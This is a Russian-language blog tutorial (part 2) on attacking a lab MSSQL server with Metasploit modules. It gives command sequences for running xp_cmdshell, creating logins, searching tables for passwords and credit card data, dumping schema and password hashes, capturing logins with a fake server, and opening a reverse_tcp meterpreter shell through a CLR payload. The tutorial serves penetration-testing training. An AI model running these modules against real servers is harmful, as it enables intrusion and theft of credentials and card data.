Тестирование на проникновение MSSQL с помощью Metasploit. Часть 2

Spread the love

#Обучение

Следующий эксплойт поможет воспользоваться преимуществами хранимой процедуры xp_cmdshell. Ранее в этой статье пользователь восстановил учетные данные сервера. Теперь, с помощью них можно вызвать хранимую процедуру xp_cmdshell и выполнить любую команду, которую человек захочет. Чтобы развернуть указанный эксплойт, нужно ввести данную команду:

use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set cmd "net user"
exploit

Эксплойт выполнен успешно – человек добился желаемого результата, т.е. получил список всех пользователей сети.

Выполнение SQL-запроса с помощью файла в формате .sql

Другой способ выполнить нужную команду — сначала записать синтаксис Sql в файл .sql, используя:

cat user.sql
CREATE LOGIN test1 WITH PASSWORD = '[email protected]';

Теперь пользователь может использовать этот файл .sql для удаленного запуска процессов на сервере с помощью следующего эксплойта:

use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sql_file /root/user.sql
exploit

Как результат, будет создан пользователь с именем test1. Человек может вручную перейти на сервер и подтвердить создание пользователя.

Создание базы данных

Обычно на любом сервере MSSQL, который тестируется, уже есть база данных. Однако так как сервер, на котором осуществляется тестирование на проникновение, является новым, так как пользователь хотел показать установку лабы, чтобы следующий эксплойт работал, следует создать базу данных. Чтобы сделать это, надо использовать следующую команду:

create database bank;

Поскольку приведенный выше запрос успешно выполняется, следующий шаг – ввести данный запрос:

CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);

Как видно на экране, таблица создана. Теперь следует добавить данные в таблицу с помощью следующего запроса:

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');

Таким образом, база данных будет создана.

Поиск выборочных данных

Теперь, когда у пользователя есть база данных, нужно понять, как он может получить ее содержимое с помощью Metasploit. К счастью, у инструмента есть особый эксплойт, который использует определенные ключевые слова для сопоставления элементов в базе данных, а затем выдает всю информацию, связанную с этими ключевыми словами. Сами ключевые слова задаются пользователем. Следует использовать данный тип эксплойта:

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sample_size 4
set keywords FirstName|passw|credit
exploit

Таким образом, использование вышеупомянутого эксплойта поможет найти необходимую информацию в базе данных. Например, данные, которые человек смог получить, содержали информацию о кредитных картах пользователей.

SchemaDump

Следующий эксплойт, который пользователь собирается использовать, произведёт dumb SQL-сервера. Чтобы задействовать его, нужно ввести следующий набор команд:

use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

И вот, с помощью вышеупомянутого эксплойта, у пользователя есть данные с сервера.

Захват логина MSSQL

Следующий эксплойт, который пользователь собирается использовать, — capture/ms sql. Он создает поддельный сервер и пытается захватить аутентифицированные учетные данные с исходного сервера. Чтобы задействовать его, подойдет данная команда:

use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit

Теперь, например, если пользователь попытается войти на сервер, у него будут учетные данные:

sqsh -S 192.168.1.2 -U sa -P "[email protected]"

И когда он проверит свой Metasploit, вуаля! У пользователя будут правильные учетные данные для входа на сервер.

Использование CLRIntegration

Следующий эксплойт поможет воспользоваться преимуществами интеграции CLR. Он позволит интегрировать CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит пользователю сеанс, программа восстановит все настройки в их первоначальном виде. Чтобы использовать его, следует ввести команду:

use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Как видно, интеграция прошла успешно. Сеанс meterpreter получен.

Hashdump

И последний, но не менее важный: данный эксплойт используется для сброса хэшей пользователей с сервера. Чтобы применить его, нужно ввести:

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password [email protected]
expoit

Примечание: эксплойт hashdump работает только на MSSQL Server 2012.

Подводя итог, Metasploit является одним из лучших инструментов для тестирования серверов MSSQL, поскольку он имеет множество эксплойтов и функций.

Источник

Добавить комментарий

WP2Social Auto Publish Powered By : XYZScripts.com